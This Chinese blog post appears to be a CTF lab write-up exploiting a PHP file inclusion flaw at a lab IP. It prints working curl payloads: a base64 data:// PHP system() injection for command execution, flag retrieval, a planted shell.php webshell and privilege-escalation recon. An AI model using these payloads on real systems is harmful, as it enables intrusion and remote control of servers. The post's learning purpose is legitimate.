本文最后更新于 110 天前,其中的信息可能已经有所发展或是发生改变。
一、概况
目标网址:http://211.103.180.146
测试目标:用LFIMAP扫描漏洞,利用返回的漏洞结果查找flag
测试时间:2025.12.15
测试人员:MarsRain
二、信息收集
先登录网站,能直接看到页面抬头明确展示文件包含漏洞并且给出详细参数:file。为了验证,先用LFIMAP扫描一下具体有哪些漏洞然后提取里面的重要信息

python lfimap.py -U "http://211.103.180.146:11097/index.php?file=" -a
crul -I "http://211.103.180.146:11097/"

从这次用file参数可以提取出以下信息:
- Debian环境下的Apache/2.4.25
- PHP 版本为 7.2.14
- UTF-8编码
- 五个漏洞,分别为:
- Info disclosure(信息泄露)——可以通过发送带有特殊字符的请求,触发了
include(相关的错误信息,表明参数未被保护导致文件泄露 - RCE(远程代码执行) ——可以通过
data://伪协议,上传经过Base64编码的PHP代码,可以执行系统命令 - LFI (本地文件包含)——可以通过
file:///etc/passwd读取服务器上的/etc/passwd文件 - RFI (远程文件包含)——可以通过传入远程 URL 来包含外部文件,从而执行远程代码
- 另一个LFI——直接通过传参返回/etc/passwd结果
- Info disclosure(信息泄露)——可以通过发送带有特殊字符的请求,触发了
三、漏洞利用和分析
1、验证
从返回的结果中检查,先用RCE尝试。复制其中返回的Base64编码后的PHP代码,修改后面的cat命令为其他命令,如whoami、ls并观察返回结果
- curl "http://211.103.180.146:11097/index.php?file=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4K&c=ls"
- curl "http://211.103.180.146:11097/index.php?file=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCRfR0VUW2NdK
TsgPz4K&c=whoami"


2、直接修改系统命令
通过修改系统命令ls -F /,URL编码后上传直接回显根目录下所有文件夹
curl "http://211.103.180.146:11097/index.php?file=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4K&c=ls+-F+%2f"

发现flag.wasj,直接cat抓取获得最终flag:flag_nisp_cbf37d
curl "http://211.103.180.146:11097/index.php?file=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4K&c=cat+%2fflag.wasj"

四、附加:尝试提权
1、获取关键信息
提权的关键是发现系统中存在的权限漏洞、配置错误、或者已知漏洞。主要包括:
- Sudo权限检查
- 计划任务(cron)
- 可写的敏感文件或目录
- 系统服务漏洞
- 内核漏洞
- 环境变量和配置文件泄漏
2、构造上传webshell
构造webshell上传后主要作用是让命令简洁一点,方便后续操作
构造一段PHP代码执行系统命令:
'<?php system($_GET[cmd]); ?>'
然后将其进行URL编码加入到Base64编码后
echo '<?php system($_GET[cmd]); ?>' > shell.php
最后组成命令:
curl "http://211.103.180.146:11097/index.php?file=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCRfR0VUW2NdK
TsgPz4K&c=echo%20'%3C%3Fphp%20system($_GET%5Bcmd%5D);%20%3F%3E'%20%3E%20shell.php"
验证是否上传成功:
curl "http://211.103.180.146:11097/index.php?file=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4K&c=ls"

可以看到出现了新文件:shell.php 证明上传成功 之后验证是否可用
curl "http://211.103.180.146:11097/shell.php?cmd=whoami

3、查看系统版本及用户组信息
构造payload查看系统版本:
uname -a:
- curl "http://211.103.180.146:11097/shell.php?cmd=uname+-a
cat /etc/os-release:
- curl "http://211.103.180.146:11097/shell.php?cmd=cat+%2fetc%2fos-release"
id:
- curl "http://211.103.180.146:11097/shell.php?cmd=id"



| 内核版本 | 6.8.0-85-generic |
| 操作系统 | Ubuntu 22.04.1 LTS |
| 架构 | x86_64 |
从提取的信息可以得出:
- 该内核版本较新,公开已知的高危内核提权漏洞相对较少
- 常见漏洞如Dirty COW、Ptrace漏洞、OverlayFS本地提权均已被修复
贴一个简单的LFImap的基础命令

由于原靶场文件丢失,只能到此为止Orz
欢迎查看其它博客,再次声明:本文仅供个人技术学习交流,不作为任何的建议和指导来进行相关的攻击甚至是违法操作。如果有相关违法行为,概不负责。








太强了
很菜 别捧杀我了o(╥﹏╥)o
太强了